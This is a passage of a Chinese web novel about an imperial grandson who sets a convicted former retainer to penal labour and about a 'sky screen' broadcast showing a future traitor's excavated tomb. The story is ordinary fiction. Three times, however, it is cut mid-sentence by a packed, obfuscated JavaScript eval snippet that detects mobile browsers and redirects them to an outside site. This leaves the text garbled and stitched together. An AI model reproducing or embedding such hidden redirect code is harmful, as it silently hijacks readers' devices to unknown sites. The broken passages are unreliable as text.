他话中提到的神威侯乃是前朝一位赫赫有名的将军,布衣投军,二十出头便军功卓著,平南定北,最终官拜大将军,名传于后世。 连薛澄这条咸鱼都被激励得想要翻身上马、征战沙场,何况旁人? 随着露布公示,京中人心大悦。 底层百姓或担心战争一起,朝廷不断征兵征粮。士人却是欢欣鼓舞,眼看着纷乱数十年的乱世就要在大夏手中归于一统,纷纷宣扬天命在夏。也有那试图博取军功的无赖儿,持着刀枪棍棒便要去应征…… 一时间,街头氛围呈现截然不同的两面。 这一切都被抵达京城的师生俩看在眼里。 程望大摇其头:“都说那夏侯敬是王佐之才,我看也是名不副实。” “京畿之地,国朝得胜而百姓恐慌,岂是长久之相?”他回忆史书上记载的鼎盛之世,目光中流露出一种难以理解的迷茫,“前燕升平之时,人心所向,闻战则喜,天下大安。今日不然。是大夏不得人心乎?” 生于乱世、长于乱世的他,不曾见过真正的太平世道,只能通过史书上的文字去触摸。而那无法想象的太平世界终究太过遥远了。 “非也!”有人插话道,“老先生所言,在下不以为然。” “前燕大一统,百姓生于斯,长于斯,自幼便以燕人自居,故而有为国死战之心。且前燕平南伐北,征讨之敌皆为夷狄,世代国仇,百姓岂不闻战而喜?” “今大夏立国不过一年,陛下称霸中原不足十载,中原百姓见惯诸侯征伐、旗帜变换,人心未能久附,实乃乱世流离之创伤!” 这人吐字清晰,嗓音嘹亮,顿时引来不少路人瞩目。 见状,他更是大声疾呼。 “此非陛下无德,大夏不得人心,实乃数十年乱世损尽人心矣!大夏受命于天,合该以雷霆之势一统天下,从此九州四海,当再无战乱!” 程望目瞪口呆地看着突然跳出来的人。 不是惊讶于被人反驳,也不是震惊于对方的观点,而是…… “……你一个被押解入京的人犯,充什么大夏忠臣?”旁边跟随的学生脱口而出的一句话,道尽了程望的心声。 受到质问的囚徒当即反驳道:“我只是犯了法,又不是要叛夏。” 说着他一抬下巴,脸上的神情竟有几分神圣不可侵犯,就差把“忠诚”刻在脸上:“人犯怎么了,人犯也可以是大夏忠臣!某一颗忠心日月可鉴!” 众人闻言无不愕然,一道道诧异的目光落在其人身上。 但见此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012567|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看三十岁出头,一袭灰扑扑的囚衣,长发略显凌乱,脚上虽然没有镣铐,却有一前一后两个官差将他牢牢看押在中间。 这份待遇倒是古怪非常。 倘若只是个无关紧要的犯人,自然不必押解入京。而一名押解入京的重犯,只派两名官差看押,既无镣铐,也无囚车,是否又太过敷衍? 再看此人说话头头是道,一身气质不俗,兼且相貌堂堂,很难不让人疑心这人大概就是那种喝醉酒在家骂朝廷、闲着没事批评皇帝,偏偏又有几分名声与家世,不好轻易处置的狂士,因此才会有这份待遇。 这一猜想却与他此时的行为不相符。 囚徒被官差押解着远去,沿途还在叙述大夏一统的必要性、正当性、正义性……竟是引得不少百姓围观,甚至有不少人被他的言语说服。 见多识广的程望都被这一幕弄懵了。 “天下奇人,何其之多……” · 发生在城门附近的这一场“闹剧”很快就传到了永隆帝的耳朵里。尤其是参与其中的主角身份特殊,竟是名满天下的当世文宗程望程子瞻。 另一位的身份更是离奇。 居然就是此前上过天幕的陆令先。 而这人被抓的原因更是离谱——冒充算命先生诈取钱财。 这种事一般是民不举官不究,而且就算举报也很难定罪,毕竟算命先生不是什么正经职业,冒充之说并不严谨。用陆令先的说法,他精通易数,起卦都是专业的,只是在年龄上稍稍夸大,怎么就是诈骗呢? 总之,他在县官面前一通争辩,竟是生生把“诈伪罪”给辨没了。之所以依旧沦为囚徒,盖因他自认身份——这么一条上过天幕的“大鱼”,地方官当然不能放跑了他,索性上书一封,将人押解入京。 而这未必没有陆令先的推动。 “佞于幽帝而忠于明帝?”永隆帝默念了一遍这句史书上的评价,突然开口,“王成,你说朕该怎么处置此人才好?” 身旁侍立的大太监王成闻言一躬身。 “奴婢见识浅薄,不敢妄言。” 永隆帝一挥手:“朕要你说就说。” 他不是那等重用宦官的昏君,却也不觉得宫中的宦官就该大字不识、什么都不懂。此时不过是正好身边只有这个宦官,随口一问而已。 王成缓缓道:“奴婢斗胆一言。良禽择木而栖,良臣择主而侍。后人既言‘明帝’能用其才,陛下何不问一问湛公子的想法?” 身为永隆帝身边第一“贴心人”,王成自然知道这位天子已有培养“好圣孙”的想法。 相较于成年的诸位皇子,湛公子终究还是太过势弱。一国储君身边总不能没有人手。既然如此,陆令先不正是一个送上门来的人手? “不错,不错。”永隆帝微微颔首,似是满意,又突然脸色一沉,“此等谗言媚上之臣,若欺主上年幼,一意逢迎,岂不是要毁了朕的皇孙?” 他说翻脸就翻脸,突出一个君心难测。 王成惶恐跪地,额头冒出冷汗:“是奴婢思虑不周,请陛下治罪。” “起来,朕问你的话,你据实以答,何罪之有?” 永隆帝又变回了原来的模样。 他眯起眼睛:“把人送给湛儿,让他看着办。” 18.私活 很快,薛挽月这边就收到了通知。 出现在眼前的大太监王成,仿佛为薛挽月奏响了一道醒目的提示音——嘀,你有一份来自祖父的特殊生辰礼,请签收。 谁家过生辰收到的礼物是个大活人啊……薛挽月好奇道:“人在哪里?” “目前看押于京兆尹,陛下有言,此人行止去留,任凭公子决定。” “京兆尹?”薛挽月愕然,“他犯了什么事?” 王成如实以告:“诈伪之罪,按律罚作一岁。” “罚作”即为官府服劳役,往往是较轻的杂役,算是大夏劳役之刑中最轻的一级。 最严重的“髡钳为城旦舂”之刑,可是要剃发带钳,筑城五年。 相比之下,罚作简直如同社区劳动。 要说陆令先不是在知县面前生生给自己辨成了无罪吗,怎么现在一入京兆尹,这“诈伪”的罪名又回来了? 当然是永隆帝发力了。 这人在天幕上“佞于幽帝而忠于明帝”,在现实中更是十足的墙头草作风,齐王得势时依附齐王,齐王失势跑得比兔子还快,这等首鼠两端的做派无疑不受永隆帝的待见,自然也就不可能容他三言两语脱罪。 考虑到薛挽月或许用得上此人,那就更要将他丢进大狱走一遭,敲打是其一,更重要的是,如此才方便“好圣孙”来施恩嘛! 收到王成的暗示,薛挽月心念电转间便明白了永隆帝的用意。 他看向身前躬身等待自己回话的王成,心知此时只要自己一句话,陆令先就能得释。 若是效仿齐王的做派,薛挽月还可以亲自前往京兆尹,亲手将人从狱中解救出来。这也是古往今来屡见不鲜的收揽人心之套路。 薛挽月今日却偏偏反套路而行。 他详细问过诈伪之罪的始末,确定陆令先并非冤枉,便颔首道:“既如此,可否由我来督其罚作?” 正等着他开口恕其无罪的王成惊讶抬头,内心一万个问号:等等,不是!你不打算放人,还打算当监工?招揽人才不是这么招的啊——! 这位天子身边头号得意人内心破音大叫,面上依旧沉稳镇定。他还以为薛挽月年纪太小,未能理解他的暗示,便又讲明白了一些:“公子得陛下亲睐,若对此人有意,言语一声,京兆尹那边不敢不放人……” 他言语间小小恭维了薛挽月一把。 本以为这位皇孙多少会有点喜形于色,不曾想对方却是十分认真地摇头:“既无冤情在身,违律自当受罚。我看罚作一岁就很恰当。” 言语间竟是没有丝毫为陆令先脱罪的意思。 “现下我不便出宫,正缺个跑腿之人,我看此人口齿伶俐、见多识广,倒也合适。罚作劳役并无定规,不妨就将此人交与我来安排罢!” 王成脸上空白了一瞬。 啊?还能这么干??? 他下意识觉得离谱,但转念一想,薛挽月的要求竟是丝毫不违律例。劳役之事本就是官府安排,现在不过是等于到薛挽月身边服役而已。 他看向薛挽月的目光顿时又有不同。 原以为这位小公子对陆令先要么仁慈赦免,收买人心,要么冷漠无视,以示对奸佞之辈不屑一顾。没想到他却在规矩之内翻出了新花样。 这一刻,他心中生出几分恍然。 难怪,难怪这位能取得那般成就…… 等王成走远,薛澄笑嘻嘻开口:“那姓陆的到底是一个人才。未来之事姑且不提,齐王府的门客,只他一人在事发之际顺利走脱,还能孤身独行数百里,扮作算命先生天衣无缝,啧,这本事可是了不得!” “要我说,反正他也就骗了百二十钱,都还给了事主,何必罚作?三弟你这么一招,让他以罪人之身为你所用,此人心里恐怕未必感激啊。” 薛挽月知道他是为自己考虑,只是:“法度如山,不可轻移。我宁愿不要他的感激,也不愿动用特权破坏《夏律》。” “今日我为了收揽门客从京兆尹捞人,来日你也如此,他也如此,成何体统?”薛挽月的反问令薛澄愣了一愣,脸上的笑容化作若有所思。 “……三弟你是对的。咱们身为皇孙带头破坏规矩,下面的人岂不是有样学样。就算这是天子特许,传出去总归对三弟你的影响不好。” 说到此处,他又警惕起来。 “哼,没准王叔们就等着挑你的刺呢。” 薛挽月哭笑不得:“这倒不至于。” 诸王行使特权可比这过分多了,从京兆尹捞个人算什么? 薛挽月怀疑是自己之前演得太过,以至于如今二哥总觉得他身边危机四伏,看谁都像是豺狼虎豹,一时不禁有些心虚。 他轻咳一声:“弟弟今日说的话,保不齐将来就会食言。说到底陆令先不值得我破例。此人有才无德,惯会见风使舵,正该经受一番磨砺。来日若是有国之干臣深陷牢狱之灾,我却未必像今日这般‘认死理’了。” · 三天后。 陆令先躺在京兆尹的大牢里,无聊到数蚂蚁。 他并未因现下的处境而慌张。 早在他“自投罗网”时就想到了这个可能。 以他对当今陛下的了解,对方不会就这么杀了他,多半只是小惩大诫,人尽其才。 但永隆帝身边不缺他这个人。考虑到天幕揭示的未来,兴许他有机会提前效忠明主、加入“夏明帝”的核心班底…… 嘎嘎嘎嘎! 陆令先数着蚂蚁笑出了鸭叫。 由远及近的脚步声惊醒了陆令先。 他期待地抬起头,果然就见两道人影目标明确地向自己这间牢房走来。陆令先赶紧站起来,拍拍衣服上的褶皱,将头发理得整整齐齐。 火光摇曳,映照出一熟悉一陌生的面孔。前者是负责看管这间牢房的狱卒,后者面白无须,俨然是宫中内侍,手中却并无什么布帛诏书。 ……看来是来传口谕的。 没能看到昔日齐王府三公子的身影,陆令先略微失望。 若是换作齐王,必然亲自现身,施恩于他。这三公子小小年纪,子不类父啊! 啊呸呸呸!不类父才好啊! 陆令先猛然摇头将乱七八糟的想法甩出去。 牢门吱呀一声被打开,甬道内的火光将他故作矜持迎上前的身影拉得细长。 陆先令再次掸了掸衣摆,上前两步,唇角勾起一抹庆幸、感激,又不过分谄媚的微笑。声情并茂的谢恩之词已然滚动到舌尖,就要出口。 “什么?罚作一岁?” 没能等来预想中的赦令与传召,陆令先酝酿的满腹腹稿卡在了第一步。当下发生的一切打乱了他的计划,也超乎他的预期。 “此乃京兆尹之判罚,你有异议?” “不不不,并没有。” 他把头摇成拨浪鼓。 跟随小黄门走出牢门,陆令先的神色一路变幻,再无回京之前的自信——那位从前在齐王府只有数面之缘的三公子,他不按常理出牌啊! 好消息,提前效忠明主的机会到了。 坏消息,开局戴罪之身,在对方心中的第一印象似乎很糟糕……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017738|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 京兆尹的大门之外,迎接陆令先的是个身着皂衣的少年。 陆令先一眼看去,似乎有些眼熟。 随即迅速反应过来,这不是那位三公子身边的长随吗?好像,好像叫什么名字来着?对,是李平! 遥想当初他身为齐王最重视的门客,连几位公子见了他都得尊敬地唤一声“陆先生”,哪里用得着在乎一个小小的长随姓甚名谁。 终于从记忆的角落里捡起这点零碎的印象,陆令先堆起一个仿佛两人已经相熟八百年的笑容:“李平小兄弟,是湛公子请你来迎我一程?” 李平面无表情地摇摇头。 “公子不便出宫,令我督促陆君劳役。”他说话一板一眼,像个只会执行指令的木偶,“昨夜大雨,城北有屋舍垮塌,其家中唯有老妪幼儿,现已另行安置,限时半月之内,陆君需修好屋舍,届时另有安排。” 陆令先:“……?” 不是,你来真的啊?! 他脑子嗡嗡作响,下意识地抬起双手。 这是一双属于文士的手,虽有薄茧,依旧白皙细嫩。 半个月的时光宛如沙砾,狠狠在这双白皙的手上磨过,磨出满手的厚茧与水泡。 陆令先喘着粗气,顾不得文士的体面,往门槛边上一坐。 原以为不可能完成的任务就在今日完成了,哪怕大半功劳归属于领他干活的匠人。伴随疲惫一同在他心头涌起的,是一股莫名的成就感。 “陆叔叔,喝水!” 小小的孩子捧着一只缺口的陶碗递过来,碗中荡漾的清水倒映出陆令先憔悴的脸。 他摸摸孩子的脑袋,接过陶碗一通牛饮。 脑海中回想起这些日子零碎听闻的消息。 这户人家姓陈,原本也是富庶人家。只是三个儿子与老翁都死于战乱,两个儿媳改嫁,一个儿媳病逝,只剩这一老一少相依为命。陈老妪年过五旬,替人浆洗衣裳为生,陈小郎只有六岁,干不了多少活。 陆令先下意识开始分析《夏律》,此类孤寡可有减免赋税的条例,是否能为其申请救济之粮……想着想着,他愣住了。 从前他无数次走过盛京的街巷,见过不止一个“陈老妪”,从没想过为他们做些什么。是因为亲身接触过了,想法不知不觉也变了吗? 做出如此安排的湛公子,又是有心还是无意? 正思索间,他听见边上的小孩问道:“陆叔叔,挽月哥哥不来了吗?他又被他阿爹关在了家里?” 陆令先一个激灵:“挽月哥哥?” 小孩不解地看了他一眼,乌黑的大眼睛澄澈有神:“你、你们不都是挽月哥哥找来的吗?”他伸出小手画了个圈,圈住附近歇息的几名匠人。 “挽月哥哥不能经常出门,阿平哥哥常来的。那天好大的雨,要不是阿平哥哥来得及时,我和奶奶只能去庙里睡了。那里的乞丐凶得很。” “你说的挽月哥哥,姓薛吗?” “你不知道?挽月哥哥姓李呀!” 陆令先忍不住继续追问,越是追问,越是心情复杂。 他的脑海中渐渐勾勒出一个角色:姓李的富商公子,因为家中管教甚严,只偶尔溜出家门玩耍,某次在城北迷路,险些误入贼窝,与搭救他的一群市井少年意外相识,成了朋友。而在发现陈家只有一双老弱后,这位出门受限的富商公子便派遣自己的长随李平常来探望,搭一把手。 “……”陆令先久久不语。 没来由的,他脑中冒出的第一个念头竟然是:所以,我这是被那位湛公子借着罚作的名义派了私活? 19.考古 “公子,您交代的事办好了。” 李平风尘仆仆走入殿内,向薛挽月禀报。 “陈家的屋舍修缮一新,特地找的老匠人拍着胸脯保证,再有大风大雨也不必担心。陆令先起初偷懒,属下全程盯着,不干活就饿上一顿,后面他果然老实了。”说到这里,李平想到什么,“哦,还有这个。” 他从袖中取出一份帛书。 “这是陆令先亲笔所书,请公子过目。” “不是,你等等。”薛挽月下意识接过帛书,人有点懵,“……不干活就饿上一顿,谁教你这么干的?” 李平:“属下请教过京兆尹的狱吏。” 合着是把狱吏监督刑徒的本事学来了……薛挽月恍然大悟。 彳亍口巴。 ……也算是学以致用。 就是陆令先可能吃了些苦头。 不过他这种见人说人话、见鬼说鬼话的人,也只有不讲情面、认死理的李平治得了他。也不知这帛书上写了什么,该不会是告状罢? 薛挽月好奇地低头一看,眼底渐渐染上讶色。 帛书的内容不是诉苦,不是喊冤,不是告状,竟是自荐。 陆令先分析了一通薛挽月眼下的处境,最后提到他现在年纪小,只能在宫中读书,没有公开的渠道接触外臣,这是薛挽月最大的不足——他需要有人替他行走在外,发出属于他的声音。 而陆令先毛遂自荐。 有一说一,这封自荐信写得很谦卑,且处处都站在薛挽月的角度为他着想。薛挽月大抵能明白从前陆令先为何在齐王府混得风生水起。 尽管他严重怀疑这人是吃了半个月的苦,唯恐继续被派去干体力活,才写出这么花团锦簇的自荐信。与其说是自荐,不如说是自救? 薛挽月没有非要折磨人的意思。 “既然他头脑灵活,擅理人事,这里恰好有一桩事要他去办。”薛挽月抬头看向李平,道明原委,“近来陆续有医者入京,多是冲着我来的。只是来了才发现找不见我。前两天,有人辗转联系上太医院的旧识……” 他已经将自己脑袋里关于“助产钳”的全部知识都贡献了出来。太医院一份,千里迢迢来求教的大夫们也没落下。只是不知何时能出成果。 无论如何,这些人来了暂时就别想走了。 医者自古便是贱业,为了一个可能有用的医疗用具,有本事赴京,敢于向皇孙求教的大夫,其医术、医德、胆识、眼界,必然远超同侪。 这不正是发展大夏医学的种子吗? 若是能说服这些人留下来,规范化培养出更多学徒,将来深入民间、军队,使更多百姓有病可治、更多士卒有命可活,岂不是天大功德? 尤其是女医的培养须得提上日程。 薛挽月不禁回忆起之前主播提过的妇科和儿科,他与未来的自己思路相通。即便“助产钳”真能成功,也总得由女医与接生婆去实践罢? ……或许这个理由能说服大夫们多培养几个女学徒,抑或直接对有经验的接生婆进行一番更系统的培训? 想到此处,薛挽月灵光一闪。 “助产钳”既然与女子生产息息相关,一群没进过产房“见过世面”的大夫能有什么见地?合该找女医与接生婆,听取她们的建议才是正理! 薛挽月有了想法,兴冲冲直奔太医院。临走前他对李平交代道:“告诉陆令先,眼下便有一桩事,可让他发挥所长。让他联络那些入京的医者,摸清各人脾性、诉求与所长,设法说服他们留京授徒。” 他还不忘恐吓一句:“此事若办不成,下次就去修路罢。” 很快,京中有名有姓的接生婆就收到了太医院的传唤。 直到踏入太医院的大门,她们还不敢相信自己有生之年竟然能来到这里。 随后,她们又看见一群胡须花白的老太医中唯一一颗水灵灵的“小白菜”,得知这位竟是天子之孙,接生婆们当场就腿一软跪在了地上。 那容貌比小姑娘还俊俏的小公子上前扶起了一位年纪最大的接生婆,笑容又漂亮又亲切:“使不得,使不得。小子有事请教几位婆婆……” · 新一期的天幕到来时,正值朝会。 时隔大半年,天下形势已然大变。 北方,大齐发展欣欣向荣。 薛挽月并未急于表现,介入国事。而是以助产钳为契机,从太医院入手,向天子上书规范化培养医者的必要性,尤其是女医的重要性。 得到永隆帝的认可后,他便全心投入此事。幸而陆令先不负所托,完成了任务。 此时,盛京城内的接生婆已然分批接受过更加正规的在岗培训,而有女儿的人家亦从露布上得知一条新的谋生之路,即送女儿去学医。 南方,齐国已是岌岌可危。 应飞围城半载,逼降寿阳。早前齐国派往寿阳的几路援军皆被击溃,急书向陈、梁二国求援,却遭到狮子大开口。双方来回拉扯之间,却惊闻寿阳已降,江淮门户洞开。消息传至广陵,齐国君臣大惊失色。 主和派与投降派趁机鼓噪声势,齐主犹豫不决。 随着应飞率军一路挺进广陵,齐主姜柏亲笔所书的国书也被八百里加急来到永隆帝的面前。国书中字字写着求和,仔细看去却是请降。 只是应飞前脚才兵临城下,后脚齐主就吓得投降,说出去显然不好听。这封奇奇怪怪的国书,无非是齐主需要一个台阶。 今日朝会上商议的便是此事。 “哪位爱卿愿出使齐国,说降齐主?” 这无疑是一个美差,群臣踊跃报名。 天幕就是在此时出现的。 一出现,就带给古人一记暴击。 【对考古感兴趣的朋友可能有关注最近的新闻——河北某地突发山洪,万幸没有造成人员伤亡,不过好巧不巧冲出了地下的一座古墓。】 【经过考古人员的抢救性发掘,该古墓中的大量文物已经转移到当地新建的博物馆。而墓主更是成了“镇馆之宝”,为当地文旅做贡献……】 随着她的讲述,一张张照片出现在天幕上。 其中有考古发掘现场还带着泥土的金器,有经过一番清理之后整整齐齐放在布帛上的玉玦,有博物馆现场人山人海的热闹场面…… 最后,是棺椁中七零八落的人骨。 ?????? 此时此刻,无论南北,无论老少,无论男女,都被这与众不同的开场惊得眼前一阵发黑。 “掘人坟,起人尸,呼朋唤友,争相围观……” 这群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020817|190720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后人怎么比蛮夷还蛮夷?! 尤其是世代居于河北的士族,一个个只觉得天都塌了。 某处庄园里,被几名婢女伺候的老太爷指着天幕,两眼一瞪,一下子就嘎了过去。 不多时,孝子贤孙的哭声响成一片。 【经过事后考证,墓主人的身份浮出水面。】 【正是大夏景恒侯,魏错魏无咎。这里解释一下,无咎是他的字,很多人叫习惯了的魏无咎其实不是他的大名,他的大名应该是魏错。】 诸多河北人士舒了一口气。 ……可算是逃过一劫! 而薛挽月听到这里打了一个问号。 “景桓”可是霍去病的谥号,什么玩意也配用“景恒”? 霍粉震怒! 【当然,景恒侯这个称呼并不准确。这是魏错生前,夏幽帝赐他的封号。夏明帝掌握大权之后,什么景恒侯,直接给他上谥号为“丑”!】 【简单一个字,恨意溢于言表啊。】 这不是秦桧的谥号吗,这姓魏的居然能用上平行时空神憎鬼厌的大汉奸的谥号……薛挽月也觉得另一个自己恨得有点深了。 他眼底流露出深深的好奇。 什么仇什么怨? 以及这姓魏的现下住在哪里?祖籍何在? 朝堂之上,大夏群臣默念着这个“丑”字,纷纷凛然。 虽不知夏明帝与魏错之间有何恩怨,但这位明帝陛下是真记仇啊。人死了都要让人家不安生。看天幕上那具尸骨的痕迹,头骨都碎了小半,手脚拼凑起来也不完整,该不会……也是明帝陛下干的罢? 群臣悄悄抬眼看向永隆帝。 却听这位正默念着魏错的名字。 得,这也是个记仇的主。 ……孙随其祖,很合理。 【魏错这个人的情况就不用说了。小学生都知道的大奸臣、大权臣,夏幽帝一朝大名鼎鼎的“五贼”之首,连死法都独一无二的传奇人物。】 【这不是我们要说的重点,重点是这次抢救性发掘,不仅发现了魏错的坟墓,还连带着发现了附近的范阳魏氏祖坟。因为山洪连绵,之后又有陆续八座坟墓被抢救性发掘。经过多方考证,都是魏氏嫡系。】 “范阳魏氏……” 宫中的薛挽月与前朝的薛烈,同时点头,记下了这个家族。 被点名的范阳魏氏一片兵荒马乱。 天塌了,自家出了一个谥号为“丑”的大奸臣、大权臣! 此时此刻,就连被挖坟掘尸都不能算是大事了。 后者是千年之后的危机,前者却是近在眼前的危机。 当代家主与弟弟魏错相对而坐。默然片刻,身为长兄的魏欢开口道:“为今之计,唯有将你开革出族谱。中原之地,你是待不下去了。” 身处乱世,士族固然有士族的骄傲,终究要在铁铸的刀枪前低下头来。不舍弃这个弟弟,以永隆帝的脾性,范阳魏氏必然血流成河。 “妖女……害我至此!” 魏错深深看了一眼天幕,发出与深宫中的薛璟一般咬牙切齿的声音。 他没有继续无能狂怒,而是起身,向宗祠方向大礼跪拜于地。 “……大兄,保重。” “从今往后,再无魏错。”